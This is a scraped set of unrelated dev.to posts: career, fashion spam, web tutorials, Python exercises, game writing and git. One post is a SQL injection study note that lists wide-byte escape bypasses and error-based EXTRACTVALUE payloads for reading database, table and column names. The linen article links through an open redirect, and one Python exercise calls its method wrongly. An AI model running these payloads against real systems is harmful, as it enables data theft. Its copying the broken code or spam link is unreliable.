teleren/devto huggingface dataset:
Do you admit when you don't know something in a job interview? Why does it matter.
Tags: career, careerdevelopment, development
Published: 2023-12-03 07:20:44

![Making job interview less horrible](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/r96yd9rwsj4dk36dxeeb.jpeg)

Have you ever been in an interview where you were asked a question that you had no idea how to answer? How did you handle it? Did you admit that you didn't know, or did you try to bluff your way through it?

According to an [article](https://medium.com/mind-cafe/five-signs-of-a-highly-intelligent-person-915cfe16bd1a) I read, one of the best ways to impress an interviewer is to be honest and say that you don't know something, rather than fake it and force-feed an answer. The article claims that this shows intelligence, humility, and curiosity, and that it opens up an opportunity for learning and dialogue. The article also says that some managers use this trick to test the candidates' reactions and see how they cope with uncertainty and pressure.

I find this topic very fascinating and relevant for many professionals, especially in the fast-changing and competitive world we live in. That's why I would like to create the poll to see how you react when you face such a situation in an interview.

Concerning the 🚨 [Polls](https://dev.to/kallmanation/dev-to-writing-polls-kg4) are not a functional feature on DEV/Forem, I've included 4 options for you to choose from below, if you prefer not to provide a unique comment on this topic.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gtcj4fon7jdadw58azab.jpeg)

**How do you react when you are asked a question then you don't know the answer to in an interview?**

**A)** I admit that I don't know and ask for more information or clarification.

**B)** I try to guess or make up an answer that sounds plausible or smart.

**C)** I change the subject or divert the attention to something else that I know.

**D)** I say that I will research the answer and get back to them later.

Please vote manually and/or share your thoughts in the comments. Looking forward to hearing from you ☺️
The Ultimate Guide to Linen T-Shirts for Men: A Comprehensive Blog Article
Published: 2023-12-03 07:17:20

Linen T Shirt Mens: The Ultimate Guide to Summer Style Summer is here, and it's time to update your wardrobe with some cool and comfortable linen t-shirts. Linen is a natural fabric that is perfect for hot weather, as it is lightweight, breathable, and moisture-wicking. In this comprehensive blog article, we will guide you through everything you need to know about linen t-shirts for men. Why Choose Linen T-Shirts? Linen t-shirts are a popular choice for summer because of their unique properties. Linen is a natural fiber that is made from the flax plant. It is highly absorbent and can absorb up to 20% of its weight in moisture without feeling damp. This makes it an excellent choice for hot and humid weather. Linen is also lightweight and breathable, which allows air to circulate around your body, keeping you cool and comfortable. How to Choose the Right Linen T-Shirt? When choosing a linen t-shirt, there are a few things to consider. First, look for a high-quality linen fabric that is soft and comfortable to wear. Check the weight of the fabric, as a heavier fabric may be too warm for summer. Look for a relaxed fit that allows air to circulate around your body. Finally, choose a color that complements your skin tone and personal style. How to Style Linen T-Shirts? Linen t-shirts are versatile and can be styled in many ways. For a casual look, pair your linen t-shirt with shorts and sneakers. For a more formal look, wear your linen t-shirt with chinos and loafers. You can also layer your linen t-shirt under a blazer or denim jacket for a stylish and comfortable outfit. How to Care for Linen T-Shirts? Linen t-shirts require special care to maintain their quality and longevity. Always check the care label before washing your linen t-shirt. Linen should be washed in cold water and hung to dry. Avoid using a dryer, as it can shrink and damage the fabric. Iron your linen t-shirt while it is still damp to prevent wrinkles. Conclusion Linen t-shirts are a must-have for summer, as they are comfortable, breathable, and stylish. When choosing a linen t-shirt, look for a high-quality fabric, a relaxed fit, and a color that complements your personal style. Style your linen t-shirt with shorts, chinos, or a blazer for a versatile and comfortable outfit. With proper care, your linen t-shirt will last for many summers to come. Related Websites: 1\. https://www.gq.com/story/why-linen-is-the-ultimate-summer-fabric 2\. https://www.esquire.com/style/mens-fashion/a36363/linen-shirts-for-men/ 3\. https://www.fashionbeans.com/article/linen-shirts-men/

## References

  * [linen t shirt mens](https://cityofhuntington.com/?URL=https://coofandy.com/collections/mens-linen-shirt "linen t shirt mens")
Responsive Personal Portfolio Website using HTML & CSS
Tags: webdev, programming, css, html
Published: 2023-12-03 07:11:48

{% embed https://www.youtube.com/embed/g1S4vXVSYk8?si=XLeyd84d9wHgagPb %} 

## Key Takeaway
The tutorial focuses on building a responsive and animated personal portfolio website using [HTML, CSS, and JavaScript.](https://www.youtube.com/@learnwithdanial417)

## Objective:

- Develop a personal portfolio website with responsiveness and animation.

## Technologies Used:

- **HTML:** Markup language for structuring the content.
- **CSS:** Style sheets for layout and design.
- **JavaScript:** Adds dynamic and interactive features.

## Website Features:

### Responsive Design:

- Ensures the [website](https://www.youtube.com/@learnwithdanial417) adapts to various screen sizes.

### Animation:

- Incorporates animated elements to enhance visual appeal.

- Sections Covered:

1. - Project Setup
2. - Header
3. - Navigation
4. - About Me
5. - Skills
6. - Projects/Portfolio
7. - Contact
8. - Footer

## Interactive Elements:

- Navigation buttons for smooth scrolling.
- Possibly a toggle for light/dark mode.

## Comprehensive Learning:

- Aimed at users wanting to create a feature-rich portfolio.
- Provides hands-on experience with [HTML, CSS, and JavaScript.](https://www.youtube.com/@learnwithdanial417)

## Visual Appeal:

- Emphasizes animated design for a modern and engaging portfolio.

## Suitable for All Levels:

- No specific prerequisite skill level mentioned, suggesting accessibility for various users.

In summary, this tutorial offers a detailed guide on creating a responsive and animated personal portfolio website using [HTML, CSS, and JavaScript.](https://www.youtube.com/@learnwithdanial417) It covers multiple sections and aims to provide a visually appealing and interactive user experience.
Study Note | SQL Injection
Tags: cybersecurity, sql
Published: 2023-11-27 14:44:09

## Wide Byte Injection

For some wide byte charset, such as GBK and GB2312, special character (the character expect English letter) will be 2 bytes. So, we could prevent the quotation mark (') from being escaped by adding `%df` to make the slash used to escape single quotation mark be regarded as a special character through combining with `%df`.

For instance, we have a original string `admin'` , after processing by `addslashes()` in PHP, it will be `admin\'` now. So, we can transform the original string to `admin%df'` , it will be escaped as `admin%df\'` , then the `%df` and `\` will be combined to a wide byte. So, we have a single quotation that is not escaped now.



## Error Injection

### Description

Use `EXTRACTVALUE` method to get sensitive information of target database. For the principle, `EXTRACTVALUE(xml_code_or_file, xpath)` will display result of `xpath` parameter if the grammar of XPath is invalid. So, you could use the symbol that will cause wrong grammar in XPath, such as symbol `~` or `0x7e`.



### Common Usage

- View name of database: `SELECT EXTRACTVALUE(1, CONCAT(0x7e, (SELECT DATABASE())))`
- View names of tables: `SELECT EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE())))`
- View names of columns: `SELECT EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name="table_name")))`
- View data of table: `SELECT ECTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM table_name)))` 



### Attention

The maximum length of `EXTRACTVALUE` 's result is 32, `SUBSTR()` or `LIMIT` should be used when the length is greater than 32.
PROBLEM SOLVING WITH OOPS
Tags: guvi
Published: 2023-12-03 06:37:39

1) import math

class Circle:
    def __init__(self, radius_list):
        self.radius_list = radius_list

    def calculate_area(self):
        # Calculate and return the area of each circle in the list
        return [math.pi * r ** 2 for r in self.radius_list]

    def calculate_circumference(self):
        # Calculate and return the circumference of each circle in the list
        return [2 * math.pi * r for r in self.radius_list]

    def display_circle_info(self):
        # Display information about each circle in the list
        for i, radius in enumerate(self.radius_list):
            area = self.calculate_area()[i]
            circumference = self.calculate_circumference()[i]
            print(f"Circle {i + 1}:")
            print(f"Radius: {radius}")
            print(f"Area: {area}")
            print(f"Circumference: {circumference}")
            print("")

# Example usage:
radius_list = [10, 501, 22, 37, 100, 999, 87, 351]
circle_instance = Circle(radius_list)
circle_instance.display_circle_info()
2 ) class Circle:
    __pi = 3.141  # Private class variable

    def __init__(self, radius_list):
        self.radius_list = radius_list

    def calculate_area(self):
        # Calculate and return the area of each circle in the list
        return [self.__pi * r ** 2 for r in self.radius_list]

    def calculate_circumference(self):
        # Calculate and return the circumference of each circle in the list
        return [2 * self.__pi * r for r in self.radius_list]

    def display_circle_info(self):
        # Display information about each circle in the list
        for i, radius in enumerate(self.radius_list):
            area = self.calculate_area()[i]
            circumference = self.calculate_circumference()[i]
            print(f"Circle {i + 1}:")
            print(f"Radius: {radius}")
            print(f"Area: {area}")
            print(f"Circumference: {circumference}")
            print("")

# Example usage:
radius_list = [10, 501, 22, 37, 100, 999, 87, 351]
circle_instance = Circle(radius_list)
circle_instance.display_circle_info()
3 )class Circle:
    __pi = 3.141  # Private class variable

    def __init__(self, radius_list):
        self.radius_list = radius_list

    @classmethod
    def calculate_area(cls, radius):
        # Calculate and return the area of a circle
        return cls.__pi * radius ** 2

    @classmethod
    def calculate_perimeter(cls, radius):
        # Calculate and return the perimeter (circumference) of a circle
        return 2 * cls.__pi * radius

    def display_circle_info(self):
        # Display information about each circle in the list
        for i, radius in enumerate(self.radius_list):
            area = self.calculate_area(radius)
            perimeter = self.calculate_perimeter(radius)
            print(f"Circle {i + 1}:")
            print(f"Radius: {radius}")
            print(f"Area: {area}")
            print(f"Perimeter: {perimeter}")
            print("")

# Example usage:
radius_list = [10, 501, 22, 37, 100, 999, 87, 351]
Circle.display_circle_info(radius_list)
TASK - 7
Tags: guvi
Published: 2023-12-03 06:32:28

1 a) import os
from datetime import datetime

def create_text_file_with_timestamp():
    # Get the current timestamp
    timestamp = datetime.now().strftime("%Y%m%d%H%M%S")

    # Create a file name with the timestamp
    file_name = f"text_file_{timestamp}.txt"

    # Create and write content to the file
    with open(file_name, 'w') as file:
        file.write("This is a text file created with the current timestamp.")

    print(f"Text file '{file_name}' created successfully.")

# Call the function to create the text file
create_text_file_with_timestamp()
b) from datetime import datetime

def create_text_file_with_timestamp():
    # Get the current timestamp
    timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")

    # Create a file name with the timestamp
    file_name = f"text_file_{timestamp}.txt"

    # Create and write content to the file
    with open(file_name, 'w') as file:
        file.write(f"This file was created at: {timestamp}")

    print(f"Text file '{file_name}' created successfully.")

# Call the function to create the text file
create_text_file_with_timestamp()
2 ) def read_text_file(file_name):
    try:
        # Open the file in read mode
        with open(file_name, 'r') as file:
            # Read the content of the file
            content = file.read()

            # Display the content in the console
            print(f"Content of '{file_name}':\n{content}")
    except FileNotFoundError:
        print(f"Error: File '{file_name}' not found.")
    except Exception as e:
        print(f"Error: An unexpected error occurred - {e}")

# Example usage:
file_to_read = "text_file_20231203120000.txt"  # Replace with the actual file name
read_text_file(file_to_read)
I'm new here. This is my first blog post.
Published: 2023-12-03 06:30:53

I will keep it short and sweet in the interest of time. 
I want to start with the fact that I am grateful for this journey I'm on - I am learning to appreciate the highs and the lows. The rough patches make me so grateful for the smooth roads. 

Unexpectedly and delightfully, I am returning to school to learn computer programming in a bootcamp style online asynchronous course that will recall to mind my computer science courses in undergrad and my couple years of experience as a programmer analyst 12 years ago. I have thought about doing this a few times over the years and ultimately decided it was time as I am expecting my 3rd child and will need to pivot careers to allow for remote work that I can feel good about and make some decent money at (and maybe even move to California someday because of.) 

There's so much more to say but it's 12:30am and I need to change my 20 month old son's diaper because Da Da changed it already "at least twice" today :) 

Thanks for reading my thoughts....

Ashley
Project Three: Video Thumbnail Picker
Tags: webdev, beginners, challenge, codingquokka
Published: 2023-12-03 06:00:00

About five years ago I worked for a startup that was building a media platform. We had a customer facing website with content and a creator dashboard. The latter had, among other things, a feature that allowed users to pick a frame for a video and save it as a thumbnail image.

And that's exactly what I suggest to build today! This feature can be used as is or as a part of a more sophisticated one: taking screenshots of video chats or preparing thumbnails for a video player. Most importantly it'll introduce you to working with media events and canvas.

## Video Thumbnail Picker: requirements and recipe

> As a user I want to be able to choose a specific frame on a video and click a button, so that I could save an image of that frame.

Here's an example of how it can look like:

![A video on the left with a button "Create thumbnail" and a screenshot on the right](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j8futn6qlhjtc3tujhtn.png)

Aesthetics are entirely up to you: make it yours, but here are some requirements:

### Requirements

1. User should be able to download the selected frame image (via right click on it or using a separate button)
2. If the video is loading and user clicks a button - thumbnail should be generated once the frame is visible.
3. Thumbnail preview should have the same aspect ratio as the video.
4. Thumbnail preview should look as intended on pixel dense displays (e.g. Retina)

### Recipe

1. Pick up a test video you'd like to use (a local one or find some mp4 test video url)
2. Create a `<video controls src="{video_url}"/>` 
3. Create a `<canvas />` 
4. Set canvas width and height to video client width and height.
5. Add a `<button />` that would draw image from video element onto canvas.
6. Ensure that button waits for the frame to be loaded.
7. Spice it up with styles and framework of your choice.
8. Enjoy!

### Hints

The method to draw image from the video is called `drawImage` and accepts video element as the first argument.

You can double the size of canvas, but keep style width as intended to increase image resolution.

## Hard mode: Video with Thumbnails

Default HTML video player doesn't support showing thumbnails when you're hovering over a certain position:

![Netflix video player showing video thumbnail and time when hovering over a scrubber](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/x5fvj55fn7c8ez9en347.png)

There are multiple ways how you could solve this and they usually revolve around generating thumbnails on every X frame/second and then rendering them.

In this I suggest generating those in the browser first and then showing them on a video. Keep in mind that those thumbnails need to me much smaller than the actual video - so that you could save up to eventual data storage and upload them quickly.

Hope you'll have fun!

Share your creations and feedback and see you tomorrow!

Liked the idea a lot and would love to have it all year long?

[![Buy Me A Coffee](https://cdn.buymeacoffee.com/buttons/v2/default-red.png)](https://www.buymeacoffee.com/valeriavg)
How to implement GPT4 API with internet access?
Tags: chatgpt, webdev, node, discuss
Published: 2023-12-03 05:55:04

As the question said what are some easy and economical ways to implement Internet access in GPT4 API  to get the latest information about world events?
Would prefer a node.js solution if possible.
PS: Internet access is not yet provided via API. Web ChatGPT version does this by crawling Bing.
slay the princess
Tags: gamedev, writing
Published: 2023-12-24 16:21:28

---
title: slay the princess
published: true
date: 2023-12-03 00:00:00 UTC
tags: [ 'gamedev', 'writing' ]
canonical_url: https://onwriting.games/daily/20231203-1636-slay-the-princess/
---

When a narrative text-based game sells **100,000 copies** , one must stop and analyze it.

And when **more than one subscriber mentions it** in less than a week, one must stop and analyze it.

I believe that to be a hit, you need luck, and luck **can't be designed**.

But I also believe that certain things need to be **well-done** , otherwise, it can't make it.

It's a **combination of skill and luck**.

This means that **I don't know** why Slay the Princess did well.

No one can know that.

It's like knowing the **shape of an ice cube** from the **puddle it left** after melting.

What I can say is that they satisfactorily **resolved the major problems** of today's narrative games, and this is worth analyzing.

To avoid dropping a spoiler in the first email, be warned: **there are spoiler risks**.

Although they will probably be kind of meta, as they will emerge from analyzing the game's structure.

If you haven't played it and want to, don't open emails starting with 'Slay' in the coming days.

Come back after you've played it.

If you don't mind spoilers, read them; they won't ruin the experience either.

The first thing I want to address today is that I often say that **branching structure is no longer enough**.

Slay the Princess is a branch-based game. There's no randomness or anything strange.

And it's enough. Or at least, I **felt** it was enough.

So I eat my words. At least in this case.

There are elements that we will discuss that make Slay the Princess a very interesting experience.

What interests me most is that we can find **very specific answers** to the problems I mentioned in the list before:

- Replayability
- Content repetition
- Player agency
- Reaction to the state
- Taming the rhizome

In the next emails, I will analyze each of these problem areas and how they are resolved in Slay the Princess.

Hope you enjoy it!
Github : Reverting a Single File to a Specific Version
Published: 2023-12-03 05:33:06

In collaborative development, reverting a single file to a particular commit is crucial. This is often necessary when modifying files unrelated to your pull request to test the feature you're working on. Manually changing these files back to their original state can create a messy commit history. A cleaner approach is to revert the file.

## Finding the Commit ID

1. Locate the file: Navigate to the shared GitHub repository and find the file you want to revert.

2. Identify the commit ID: Above the file, you'll see a 7-digit commit ID and a date. This is the commit ID for the most recent modification of that file. Copy or note this ID.

## Finding the File Path

1. Locate the file path: The file path is displayed on the same GitHub screen where you found the commit ID.

2. Identify the working directory: Notice that only a portion of the path is underlined. The first directory listed is the working directory name, which is your current directory when using this file path. Therefore, only copy the underlined portion.

## Reverting the File

1. Open a terminal: Open a terminal window and navigate to the working directory.

2. Execute the revert command: Use the following command to revert the file:

```
git checkout [commit ID] -- path/to/file
```

3. Replace placeholders: Replace `[commit ID]` with the commit ID you noted down and `path/to/file` with the actual file path.

## Committing the Change

1. Commit the reverted file: Commit the reverted file using the standard commit command:

```
git commit -m 'commit message'
```

2. Replace placeholder: Replace `'commit message'` with a descriptive message explaining the purpose of the commit.

3. Push changes to remote: Push the committed changes to the remote repository to synchronize your local branch with the GitHub version.

## Takeaways

1. Identify the commit ID of the desired file version.

2. Locate the file path from the working directory.

3. Navigate to the working directory in the terminal.

4. Execute the command `git checkout [commit ID] -- path/to/file` to revert the file.

5. Commit the reverted file.